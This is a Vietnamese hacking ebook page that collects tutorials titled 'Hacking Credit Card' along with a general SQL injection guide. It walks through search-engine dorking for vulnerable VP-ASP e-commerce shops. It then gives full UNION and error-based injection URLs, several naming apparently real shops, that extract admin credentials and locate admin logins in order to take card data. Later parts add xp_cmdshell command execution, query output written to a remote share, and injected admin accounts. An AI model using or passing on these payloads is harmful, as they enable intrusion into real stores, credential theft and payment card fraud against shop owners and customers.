You are on page 1of 67

Ebook naøy ñöôïc vieát ra nhaèm muïc ñích laø hoïc hoûi vaø chia seõ kieán thöùc

. Email: hieuitpc@yahoo.com Homepage: http://cntt.pro.vn


Noäi dung cuûa ebook: hai tutorials do hieupc vieát vaø moät vaøi tutorials khaù
c do anh em baèng höõu vieát, trong ñoù coù moät vaøi tutorials cuõ nhöng cuõng
raát ñaùng ñöôïc ñöa vaøo vôùi muïc ñích ñeå tham khaûo.
Hacking Credit Card Version 2.0 --- Written by Hieupc
shopdisplayproducts.asp?cat='
Sau một thời gian dài TTD bị chia cắt đến nay, hieupc mới bắt đầu viết 1 tutoria
l về hack credit card mới và có lẽ đây là tutorial cuối cùng đầy đủ nhất,được hi
eupc biên soạn và sưu tầm từ nhiều tutorial cũ đến mới vào 1 cái ebook và trả lờ
i những câu hỏi thắc mắc của các bạn và hieupc cũng ðã làm 1 bản Ebook hacking c
redit card. Nào giờ chúng ta bắt ðầu bắt ðầu nhé. Cách này cũng nhý những cách t
hông thường là khai thác theo l ỗi SQL và cũng có thể áp dụng cho 1 số lỗi khác
như: OLE DB, JET Database, ASP…
Býớc 1:
Khuyến cáo nên search shop ở www.google.com hoặc www.search.com vì mình thấy 2 s
ite này rất very good. Từ khoá nên dùng: allinurl:”shopdisplayproducts.asp?id= h
oặc allinurl:”shopdisplayproducts.asp?cat=1 hoặc allinurl:”shopdisplayproducts.a
sp?cat=2…… Search shop theo Domain .com, .net , .biz…..: allinurl:”.com/shopdisp
layproducts.asp?cat=,allinurl:”.net/shopdisplayproducts.asp?cat=... Ai biết chấm
gì nữa thì thay vào :) Khả năng lấy được credit card: là 99.9 % còn 0.1 % còn l
ại phụ thuộc vào cái đầu của bạn. Xong phần search, bạn thu hoặch lại tất cả các
shop bị lỗi và bắt ðầu hack.
Býớc 2:
Ví dụ: lấy ví dụ là 1 site thế có dạng thế này : http://www.victim.com http://ww
w.victim.com/shopdisplayproducts.asp?id=5 Ta sẽ thêm dấu phẩy ( ` ) vào sau số 5
: http://www.victim.com/shopdisplayproducts.asp?id=5' Xem nó có bị lỗi không nào
, hic nó không bị lỗi, chỉ thấy thế này:
Home Improvement Page 1 of 2
Không sao, chúng ta hãy bình tĩnh nhé, thay “ id “ bằng “ cat “ thử xem: http://
www.victim.com/shopdisplayproducts.asp?id=5' -->>> http://www.victim.com/shopdis
playproducts.asp?cat=5' Uh, nó lỗi ruì kìa:
5' Microsoft JET Database Engine error '80040e14' Syntax error in query expressi
on 'cc.intcatalogid=p.catalogid and cc.intcategoryid=c.categoryid and c. catdesc
ription like '5'%' and hide=0 order by specialoffer desc,cname'. /shop$db.asp, l
ine 467
Okie, tiếp tục nhé, bạn sẽ thêm ðoạn code sau ðây vào: '%20union%20%20select%201
%20from%20tbluser"having%201=1--sp_password
http://www.victim.com/shopdisplayproducts.asp?id=5'
Khi thêm xong thì sẽ nhý thế này: http://www.victim.com/shopdisplayproducts.asp?
id=5'%20union%20%20select%201%20from%20tbluser"having% 201=1--sp_password và ðýợ
c thế? này :
5' union select 1 from tbluser"having 1=1--sp_password Microsoft JET Database En
gine error '80040e14' The number of columns in the two selected tables or querie
s of a union query do not match. /shop$db.asp, line 467
Chú ý nhé các bạn, cái dấu phẩy ( ` ) rất quan trọng, không có là không được. Và
cứ thế ta cứ tiếp tục thêm số nhé: http://www.victim.com/shopdisplayproducts.as
p?id=5'%20union%20%20select%201,2%20from%20tbluser"having% 201=1--sp_password
http://www.victim.com/shopdisplayproducts.asp?id=5'%20union%20%20select%201,2,3%
20from%20tbluser"having %201=1--sp_password http://www.victim.com/shopdisplaypro
ducts.asp?id=5'%20union%20%20select%201,2,3,4%20from% 20tbluser"having%201=1--sp
_password Cứ thế mà tiếp tục cho ðến khi bạn thấy 1 cái bảng đẹp đẹp hiện ra với
vài con số. Ở ðây là tới số 47 : http://www.victim.com/shopdisplayproducts.asp?
cat='%20union%20%20select%201,2,3, fldusername,5,6,7,8,9,10,11,12,13,14,15,16,17
,18,19,20,21, fldpassword,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,
41,42,43,44,45,46,47%20from%20tbluser"having %201=1--sp_password
3 click to see more 22 4
18 Please review these other products:
Nào giờ chúng ta bắt đầu lấy user and pass:
— —
fldusername : thay cho số 3 , hay 4, hay 22 tu bạn ỳ fldpassword : thay cho số 3
, hay 4, hay 22 tu bạn ỳ
Sau khi thêm xong ta sẽ được nhý thế này: http://www.victim.com/shopdisplayprodu
cts.asp?cat='%20union%20%20select%201,2,3, fldusername,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21, fldpassword,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,3
8,39,40,41,42,43,44,45,46,47%20from%20tbluser"having %201=1--sp_password Và có đ
ược username và password :
User: stephenrossi pass: gnilsur
Hoặc bạn có thể gộp chung fldusername và fldpassword vào 1 số cũng được. http://
www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,flduser
name%2b'/'% 2bfldpassword,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39, 40,41,42,43,44,45,46,47%20from%20
tbluser"having%201=1--sp_password Ta sẽ có user và pass được gộp chung 1 số:
stephenrossi/gnilsur
Bước 3:
Tìm link admin, thử đánh cái này vào được không nào: http://www.victim.com/shopa
dmin.asp hic không được rồi. Thử cái này nữa thử xem, may ra nó chạy đến link ad
min thì sao: http://www.victim.com/shopadmin1.asp , cũng không được. Cái này hie
upc đã download cái source của VPASP về xem cấu trúc nó thế nào, và đã tìm ra cậ
u lệnh thế này, chẳng qua là thay table thôi. Ta biết table configuration là nơi
chứa những thông quan trọng của shop như là link admin, afftemplateaffiliate, a
fftemplateMerchant….. Vậy cậu lệnh sẽ thế này: '%20union%20%20select% 201,2,3,4,
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,3
3,34,35,36,37,38,39,40,41, 42,43,44,45,46,47%20from%20configuration"having%201=1
--sp_password Thay vào ta sẽ được: http://www.valuevision.com.ph/shopdisplayprod
ucts.asp?cat='%20union%20%20select% 201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,
18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41, 42,43,4
4,45,46,47%20from%20configuration"having%201=1--sp_password Ta cũng thấy cái bản
g:
3 click to see more 22 4
18 Please review these other products:
Lần này thì ta sẽ kiếm link admin, thường thì link admin nằm trong fieldvalue ,
vì thế ta sẽ đặt fieldvalue vào s ố 3, hay 4, hay 22 tuỳ các bạn. '%20union%20%2
0select%201,2,3, fieldvalue,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,
24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 ,42,43,44,45,46,47%20from%
20configuration"having%201=1--sp_password Sau khi thêm xong ta sẽ được thế này:
http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,
fieldvalue,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2
9,30,31,32,33,34,35,36,37,38,39,40,41 ,42,43,44,45,46,47%20from%20configuration"
having%201=1--sp_password
Các bạn sẽ chẳng thấy link admin ở đâu hết toàn là mấy con số, lúc đầu hieupc cũ
ng tưởng là mình làm sai cậu lệnh, nhưng loay hoay 1 đỗi , kéo trang lên, kéo tr
ang xuống, à thì ra có tới 10 trang.
Page 1 of 10
Chỉ cần để ý là các bạn thấy thôi, nói thêm là: mỗi một trang như vậy là chứa nh
ững thông tin có trong fieldvalue , các bạn cứ cố gắng view từng trang nhé, hieu
pc view hết 10 trang và thu thập được những link có đuôi là *.asp:
shopaddmoretocart.asp shopcheckout.asp shopdisplaycategories.asp
Nhất định 1 trong 3 link này là link admin login , hieupc đã thử hết 3 link và c
ái link đầu tiên là link admin
shopaddmoretocart.asp
http://www.victim.com/shopaddmoretocart.asp
This site is reserved for Shop Administrators only. Administrator's Login UserNa
me : Password :
Bây giờ lấy username và password ở trên để thay vào. Việc còn lại chắc các bạn b
iết.
Image Field
THE END
Hacking Credit Card Version 1.0 --- Written by Hieupc
Hack Shop VPASP thật sự là như thế nào? ( Cập nhật và được phát triển thêm từ nh
iều bài viết hướng dẫn trước đây ) CÁCH THỨ 1: Cái này chắc có lẽ cũng có nhiều
bạn biết, nếu mình đoán không lầm thě chỉ có 30 %-50 % member là biết cách này,
tuy nhiên mình cũng đưa lên đây cho các bạn chýa biết và các bạn đă biết rùi học
hỏi thêm ở mình hoặc góp ý thêm cho mình chỗ nào chưa hoàn chỉnh Cách này cũn
g như những cách thông th ường là khai thác theo l ỗi SQL và cũng có thể áp dụng
cho 1 s ố lỗi khác như OLE DB, JET Database, ASP… Bước 1: Ðể tìm site bị lỗi ki
ểu này đòi hỏi bạn phải có nhiều kinh nghiệm tìm lỗi và search shop nh ư thế nào
cho thật là hiệu quả. Bước này cũng là bước quan trọng nhất vì không có shop lỗ
i làm sao hack :)) Khuyến cáo nên search shop ở www.google.com hoặc www.search.c
om vì mình thấy 2 site này rất very good. Từ khoá nên dùng: allinurl:”shopdispla
yproducts.asp?id= hoặc allinurl:”shopdisplayproducts.asp?id=1 hoặc allinurl:”sho
pdisplayproducts.asp?id=2…… Search shop theo Domain .com, .net , .biz…..: allinu
rl:”.com/shopdisplayproducts.asp?id= ; allinurl:”.net/shopdisplayproducts.asp?id
=... Ai biết chấm gì nữa thì thay vào :) Xong phần search, bạn thu hoặch lại tất
cả các shop bị lỗi và bắt ðầu hack. Bây giờ mình lấy ví dụ shop này nhé: http:/
/www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1 Oh, 1 em Uk cực n
gon không biết có CC. Bây giờ kiểm tra xem nó lỗi không bằng cách thêm vào dấu p
hẩy ( ` ) http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1'
Oh site bị lỗi kìa các bạn :
Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC Mic
rosoft Access Driver] Syntax error in string in query expression 'ccategory = 1'
Order By specialOffer DESC, cname'. /chris/shop$db.asp, line 868
Bý?c 2: Ta bắt đầu thêm vào đoạn code này : %20union%20%20select%201%20from%20tb
luser%27 Vào phía sau link shop nhớ bỏ luôn cái dấu phẩy sau ?id=1 nhé, nếu khôn
g là không được đâu đấy.
Khi thêm xong link sẽ như thế này: http://www.carstereoinwales.co.uk/chris/shopd
isplayproducts.asp?id=1%20union%20%20select%201%20from% 20tbluser%27 Oh không dụ
gì đây :)
Products
Microsoft OLE DB Provider for ODBC Drivers error '80004005' [Microsoft][ODBC Mic
rosoft Access Driver] The number of columns in the two selected tables or querie
s of a union query do not match. /chris/shop$db.asp, line 868
Còn không biết qua bước 3 nữa, nhưng khoan các bạn hãy xem kinh nghiệm của mình
đă khi thêm vào dấu phẩy ( ` ) mà nó hiện ra lỗi như vầy:
Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mar
k before the character string ' '. /product.asp, line 29
Thì các bạn hack theo kiểu hack cũ nhé. Thui bây giờ qua bước 3 nhé, nói nhiều q
uá :)) Sau khi đă hoàn thành bước 2, bạn sẽ bắt đầu 1 công việc thiêng liêng nhấ
t và cũng là mệt mỏi nhất, không mệt đâu chỉ uể oải 1 tí, đó là thêm số vào code
: 1%20union%20%20select%201,2%20from%20tbluser%27 1%20union%20%20select%201,2,3%
20from%20tbluser%27 1%20union%20%20select%201,2,3,4%20from%20tbluser%27……….. Khi
thêm vào thì link sẽ như th này :
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%
20select%201,2%20from% 20tbluser%27 http://www.carstereoinwales.co.uk/chris/shop
displayproducts.asp?id=1%20union%20%20select%201,2,3%20from% 20tbluser%27
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%
20select%201,2,3,4%20from% 20tbluser%27 ………… Cứ thêm số tiếp tục nhé, đừng nản l
òng hãy cố lên. Cho đến khi nó xuất hiện 1 cái bảng rất đẹp :)) Ái da, mỏi tay q
uá tới số 34 mới hiện ra cái bảng trời đánh này :)) http://www.carstereoinwales.
co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select% 201,2,3,4,5,6,7,8,
9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20f
rom%20tbluser %27 Đây là bước cuối cùng để lấy user and pass: những con số quan
trọng của shop naỳ là : 3, 4 , 22. fldusername <~ thay vào số 4 fldpassword <~ t
hay vào số 22 Sau khi thay xong link sẽ như thế này: http://www.carstereoinwales
.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2,3, flduserna
me,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,fldpassword,23,24,25,26,27,28,2
9,30,31,32,33,34%20from %20tbluser%27
Và các bạn đã có user and pass rùi đấy:
User: admin848 pass: admin848 User: carste pass: carste
Phần còn lại là tìm link admin để login, cái này cũng khá quan trọng vì không có
link admin làm sao lấy CC :)) Chú ý: link admin để login mặc định của VPASP là
: shopadmin.asp cũng có khi ta đánh shopadmin1.asp sẽ vào link admin. CÁCH HACK
THỨ 2 RÚT RA TỪ BÀI HƯỚNG DẪN CỦA ANH HAI Silveryhat_Hacker : Bước 1 tương tự nh
ư trên:
Ví dụ site này: http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id
=153' cũng thêm vào dấu phẩy ( ` ) để check lỗi
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before th
e character string ''. /shopping/shopdisplayproducts.asp, line 93
Products Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
Oh có lỗi rồi, giờ sao đây :)) Cái này anh em biết khai thác chứ: http://www.nel
coproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(se
lect%20top% 201%20table_name%20from%20information_schema.tables))--sp_password
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
Server Driver][SQL Server]Syntax error converting the nvarchar value 'ver_Faq'
to a column of data type int. /shopping/shopdisplayproducts.asp, line 93
http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=c
onvert(int,(select%20top% 201%20table_name%20from%20information_schema.tables%20
where%20table_name%20not%20in%20 ('ver_Faq','coupons','customerprices','customer
s')))--sp_password
Products Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
Bước 2 chắc các bạn biết, chỉ là lấy table thui, mình chỉ việc kiếm table nào ch
ưá users của admin là okie.
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarc
har value 'AdminUsers' to a column of data type int. /shopping/shopdisplayproduc
ts.asp, line 93
Tới đây là đã quá rõ, cái mình chính là table này : 'AdminUsers' vì sao vậy vì n
ó chưá user và pass chắc. Thui cứ khai thác thử. Code: %20and%201=convert(int,(s
elect%20top%201%20column_name%20from%20information_schema.columns% 20where%20tab
le_name=('AdminUsers')))--sp_password Khi thêm code xong sẽ như thế này: http://
www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(
int,(select%20top% 201%20column_name%20from%20information_schema.columns%20where
%20table_name=('AdminUsers')))-sp_password
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarc
har value 'AdminID' to a column of data type int. /shopping/shopdisplayproducts.
asp, line 93
Products Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
Và bước tiếp theo: Code : %20and%201=convert(int,(select%20top%201%20column_name
%20from%20information_schema.columns% 20where%20table_name=('AdminUsers')%20and%
20column_name%20not%20in%20('AdminID')))--sp_password Khi thêm code xong sẽ như
thế này: http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20
and%201=convert(int,(select%20top% 201%20column_name%20from%20information_schema
.columns%20where%20table_name=('AdminUsers')%20and %20column_name%20not%20in%20(
'AdminID')))--sp_password
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
Server Driver][SQL Server]Syntax error converting the nvarchar value 'login' to
a column of data type int. /shopping/shopdisplayproducts.asp, line 93
Và các bạn cứ tiếp tục thêm table vào: http://www.nelcoproducts.com/shopping/sho
pdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top% 201%20column_na
me%20from%20information_schema.columns%20where%20table_name=('AdminUsers')%20and
%20column_name%20not%20in%20('AdminID','login')))--sp_password http://www.nelco
products.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(sele
ct%20top% 201%20column_name%20from%20information_schema.columns%20where%20table_
name=('AdminUsers')%20and %20column_name%20not%20in%20('AdminID','login','pwd'))
)--sp_password Okie 2 thông tin quan trọng là 'login','pwd' đă xuất hiện giờ chỉ
việc kiếm pass: Code: %20and%201=convert(int,(select%20top%201%20login%2b'/'%2b
pwd%20from%20AdminUsers))-sp_password ặc ặc shop củ khoai: http://www.nelcoprodu
cts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20
top% 201%20login%2b'/'%2bpwd%20from%20AdminUsers))--sp_password
Products Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varch
ar value 'admin/admin' to a column of data type int. /shopping/shopdisplayproduc
ts.asp, line 93
Hic hic, user: admin , pass: admin ; đủ biết là shop này thằng admin nó ngu đến
cỡ nào Bây giờ kiếm link admin là nhiệm vụ của bạn.
TUTORIALS OF MY FRIENDS OR ORTHER AUTHORS
Tutorial ñöôïc vieát bôûi kidbandes
What you should look for? (Mục đích của việc tìm lỗi) Tìm ra các trang cho phép
bạn nhạp dữ liệu, ví dụ là login page, search page, .... Thỉnh thoảng, HTML page
sử dụng "Post" command để gởi thông số đến trang ASP khác. Vì vậy, bạn không th
ể thấy thông số trên thanh URL, và xem "FORM" tag trong HTML code. Bạn có thể tì
m vài thứ như đoạn code sau: <FORM action=Search/search.asp method=post> <input
type=hidden name=A value=C> </FORM> Mọi thứ giữa <FORM> và </FORM> có thông số l
ỗi được sử dụng. What if you can't find any page that takes input? Bạn làm gì nế
u không tìm ðýợc trang nhập liệu nào ? Bạn nên tìm kiếm trang nhý ASP, JSP, CGI,
hay PHP. C gắng tìm các URL vói các thông số sau: ố http://shopping.com/index.a
sp?id=10 How do you test if it is vulnerable? (Chúng ta kiểm tra lỗi như thế nào
) Bắt đầu với 1 dấu nháy đơn, thêm vào như sau: hi' or 1=1-Nhập vào login hoặc p
assword, hoặc ngay cả URL. - login: hi' or 1=1-- password: hi' or 1=1-- http://s
hopping.com/index.asp?id=hi' or 1=1--
Nếu bạn làm như thế với 1 giá trị ẩn, phải download source HTML từ site, lưu vào
đĩa cứng và chỉnh sửa URL và giá trị ẩn. Ví dụ: <form action=http://shopping.co
m/search/search.asp method=post> <input type=hidden name=A value="hi' or 1=1--">
</form> Nếu may mắn thì trên site của bạn, bạn sẽ lấy được đăng nhập nhng không
co tên đãng nhập và mật mã Nhưng tại sao dùng 'or 1=1-- ? Chúng ta xem 1 ví dụ
khác tại sao ' or 1=1-- lại quan trọng. Khác với việc vượt đăng nhập, nó có thể
xem nhiều dữ liệu hơn là với các thông tin thông thường. Lấy 1 trang ASP bạn sẽ
thấy cái link như sau: http://shopping.com/index.asp?category=food Trong URL, 'c
ategory' là 1 tên biến, và 'food' là giá trị gán cho biến ðó. Trong trường
hợp ðó, 1 trang ASP có thể chứa các đoạn code sau (OK, đây là ðoạn code được viế
t ra cho bài viết này): v_cat = request("category") sqlstr="SELECT * FROM produc
t WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr Như chúng ta thấy,
biến sẽ có giá trị v_cat bên trong và vì vậy câu lệnh SQL sẽ trở thành: SELECT
* FROM product WHERE PCategory='food' Câu lệnh truy vấn trên sẽ đưa ra tất cả cá
c giá trị với điều kiện là field PCategory là 'food'. Bây giờ câu truy vấn sẽ nh
ý thế này: http://shopping.com/index.asp?category=food' or 1=1-Bây giờ, giá trị
của v_cat sẽ là "food' or 1=1-- ", nếu chúng ta chuyển ðổi thành câu lệnh SQL, c
húng ta sẽ có: SELECT * FROM product WHERE PCategory='food' or 1=1--' Câu truy v
ấn sẽ lọc ra các giá trị trong cột PCategory vói các giá trị là 'food'. Dấu "--"
sẽ bỏ qua các truy vấn của MSSQL . Thỉnh thoảng chúng ta cũng có thể sử dụng dấ
u "#". Tuy nhiên, nếu hệ thống không co MSSQL hoặc chỉ đơn giản la truy vấn bình
thường ta chỉ cần sử dụng or 'a'='a Câu lệnh SQL sẽ là : SELECT * FROM product
WHERE PCategory='food' or 'a'='a' Phụ thuộc vào câu truy vấn, ta sử dụng các giá
trị sau: ' or 1=1-" or 1=1-or 1=1-' or 'a'='a " or "a"="a ') or ('a'='a
How do I get remote execution with SQL injection? (Phương pháp để thực thi lệnh
từ xa với SQL) Để có thể inject(nhập thêm) 1 lệnh SQL, chúng ta có thể thực hiện
lệnh. Cài đặt mặc ðịnh trên MS SQL chạy dưới quyền SYSTEM, là user với quyền tr
uy cập Aministrator. Chúng ta có thể sử dụng để lưu trữ master..xp_cmdshell thực
hiện lệnh từ xa: '; exec master..xp_cmdshell 'ping 10.10.1.2'-Thử dấu (") nếu d
ấu (') không làm việc. Hai dấu trừ ở cuối dòng lệnh cho phép thực hiện một lệnh
SQL mới. Ðể kiểm tra rằng câu lệnh này thực hiện được, bạn có thể lắng nghe các
gói tin ICMP từ 10.10.1.2, kiểm tra bất kỳ gói tin nào từ server: #tcpdump icmp
Nếu bạn không nhận ðýợc bất kỳ gói tin từ server, và nhận 1 thông báo lỗi là khô
ng ðýợc quyền, thì có thể Administrator đã giới hạn quyền người dùng truy cập và
o hệ thống. How to get output of my SQL query?(Phýõng pháp Lấy kết quả từ câu tr
uy vẫn SQL) Nếu có thể, bạn sử dụng sp_makewebtask để viết câu truy vấn thành câ
u lệnh HTML: '; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SE
LECT * FROM INFORMATION_SCHEMA. TABLES" Nhưng địa chỉ IP phải có thư mục được sh
are cho tất cả mọi người How to get data from the database using ODBC error mess
age (Phương pháp Lấy dữ liệu từ CSDL sử dụng lỗi ODBC) Chúng ta sử dụng thủ tục
bị lỗi trong Server MS SQL để thực hiện lệnh. Xem ví dụ sau: http://shopping.com
/index.asp?id=10 Chúng ta cố gắng kết hợp UNION trong '10' với 1 câu lệnh khác:
http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATI
ON_SCHEMA. TABLES-Bảng hệ thống INFORMATION_SCHEMA.TABLES chứa thông tin của tất
cả các bảng trong hệ thống. TABLE_NAME field chứa tất cả các tên của bảng trong
hệ thống. Nó luôn luôn tồn tại theo cách mặc định. Câu truy vấn sẽ là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-Ðiều này se trả về bảng đ
ầu tiên trong bảng INFORMATION_SCHEMA_TABLES. Khi chúng ta UNION giá trị này với
số nguyên 10, MS SQL Server sẽ cố gắng chuyển đổi giá trị chuỗi (nvarchar) thàn
h 1 số nguyên. Thủ tục này bị lỗi, bởi vì không thể thục hiện chuyển đổi từ nvar
char thành int. Server sẽ xuất hiện lỗi sau: Microsoft OLE DB Provider for ODBC
Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax e
rror converting the nvarchar value 'table1' to a column of data type int. /index
.asp, line 5 Thông báo lỗi đủ để biết được là không thể chuyển ðổi giá trị chuỗi
thành số. Trong trường hợp này, chúng ta có thể lấy được tên table đầu tiên là
"table1". Để lấy table tiếp theo ta có thể sử dụng lệnh sau: http://shopping.com
/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA. TABLES W
HERE TABLE_NAME NOT IN ('table1')-Chúng ta cũng có thể sử dụng nó bằng lệnh LIKE
: http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMA
TION_SCHEMA. TABLES WHERE TABLE_NAME LIKE '%25login%25'-Output: Microsoft OLE DB
Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][
SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column
of data type int. /index.asp, line 5 Giá trị trong phù hợp, '%25login%25' sẽ đượ
c xem nhý là %login% trong SQL Server. Trong trường hợp này, ta có thể lấy tên đ
ầu tiên trong table có giá trị phù hợp là, "admin_login". How to mine all column
names of a table? (Cách lấy tất cả tên cột trong table) Chúng ta có thể sử dụng
table khác INFORMATION_SCHEMA.COLUMNS để ánh xạ tất cả các cột của table: http:
//shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_S
CHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-Output: Microsoft OLE DB Provider f
or ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarc
har value 'login_id' to a column of data type int. /index.asp, line 5 Bây giờ ch
úng ta có cột đầu tiên trong table, chúng ta sử dụng NOT IN () để lấy cột tiếp t
heo: http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INF
ORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN
('login_id')-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvar
char value 'login_name' to a column of data type int. /index.asp, line 5 Khi chú
ng ta tiếp tục có thể sẽ thu được một số cột cần thiết như là "password", "detai
ls". Chúng ta sẽ biết được nội dung khi sử dụng câu truy vấn sau: Quote: http://
shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCH
EMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id',
'login_name','password',details')-Output: Quote: Microsoft OLE DB Provider for O
DBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDE
R BY items must appear in the select list if the statement contains a UNION oper
ator. /index.asp, line 5 How to retrieve any data we want? (phương pháp lấy tất
cả dữ liệu mình muốn) Bây giờ chúng ta sẽ xem xét 1 số table quan trọng, và các
field của nó, Chúng ta cũng sử dụng cùng kỹ thuật trên ðể lấy dữ liệu cần thiết
trong CSDL . Bây giờ chúng ta lấy giá trị đầu tiên trong cột login_name từ bảng
"admin_login": http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 login_name
FROM admin_login--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
Server Driver][SQL Server]Syntax error converting the nvarchar value 'kidbandes
' to a column of data type int. /index.asp, line 5 Tên của user admin là "kidban
des". Cuối cùng chúng ta lấy thêm password của "kidbandes" trong CSDL http://sho
pping.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where log
in_name='kidbandes'-Output: Microsoft OLE DB Provider for ODBC Drivers error '80
040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting t
he nvarchar value 'loverthu' to a column of data type int. /index.asp, line 5 bâ
y giờ chúng ta có thể đãng nhập với tên "kidbandes" và password "lovethu". How t
o get numeric string value? (phương pháp lấy giá trị chuỗi s&#7889 Có 1 sự giới
hạn trong kỹ thuật ở trên. Chúng ta không thể lấy được bất kỳ câu lệnh lỗi nào n
ếu chúng ta chuyển đổi kiểu chuỗi thành bất kỳ kiểu số nào (các ki tự 0-9). Chún
g ta cố gắng lấy password của "kimthu" mà nó là số "123456": http://shopping.com
/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
trinity'-Thông thường chúng ta sẽ nhập được thông báo là "Page Not Found". Nguyê
n nhân ở đây là password của "kimthu" là "123456" sẽ không thể chuyển đổi, trước
UNION với 1 số (10 in this case). bới vì đây là 1 câu lệnh UNION đúng, SQL serv
er sẽ không quãng lỗi ODBC, và vì vậy chúng ta sẽ không thể lấy được thông báo l
ỗi. Ðể giải quyết vấn đề này, Chúng ta có thể dùng một ki tu chuỗi để làm cho câ
u lệnh truy vấn lỗi. Chúng ta cố gắng thực hiện câu truy vấn sau: http://shoppin
g.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20anhyeuem')
FROM admin_login where login_name='trinity'-Chúng ta sử dụng dấu (+) để kết hợp
password với 1 giá trị chuỗi mà chúng ta muốn. (ASSCII code for '+' = 0x2b). Chú
ng ta sẽ kết hợp với '(space)morpheus' thành 1 password thực. Vì vậy, ngay cả vớ
i password là một chuỗi số '123456', Nó cũng sẽ trở thành '123456 anhyeuem' bằng
cách ðõn giản gọi lệnh convert(), sau đó cố gắng chuyển đổi '123456 anhyeuem' t
hành 1 số, SQL Server sẽ xuất hiện lỗi ODBC:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
Server Driver][SQL Server]Syntax error converting the nvarchar value '123456 an
hyeuem' to a column of data type int. /index.asp, line 5 How to update/insert da
ta into the database? (phương pháp Update/Insert dữ liệu vào CSDL) Khi chúng ta
thành công trong việc thu thập thông tin từ CSDL, ðiều này có nghĩa chúng ta có
thể UPDATE hoặc ngay cả INSERT một record mới trong table. Ví dụ chúng ta có thể
thay password của "kidbandes": http://shopping.com/index.asp?id=10; UPDATE 'adm
in_login' SET 'password' = 'lovethu' WHERE login_name='kidbandes'-Để INSERT dữ l
iệu mới vào CSDL: http://shopping.com/index.asp?id=10; INSERT INTO 'admin_login'
('login_id', 'login_name', 'password', 'details') VALUES (666,'kidbandes2','lov
ethu','NA')-Bây giờ chúng ta có thể đăng nhập với "kidbandes2" và password "love
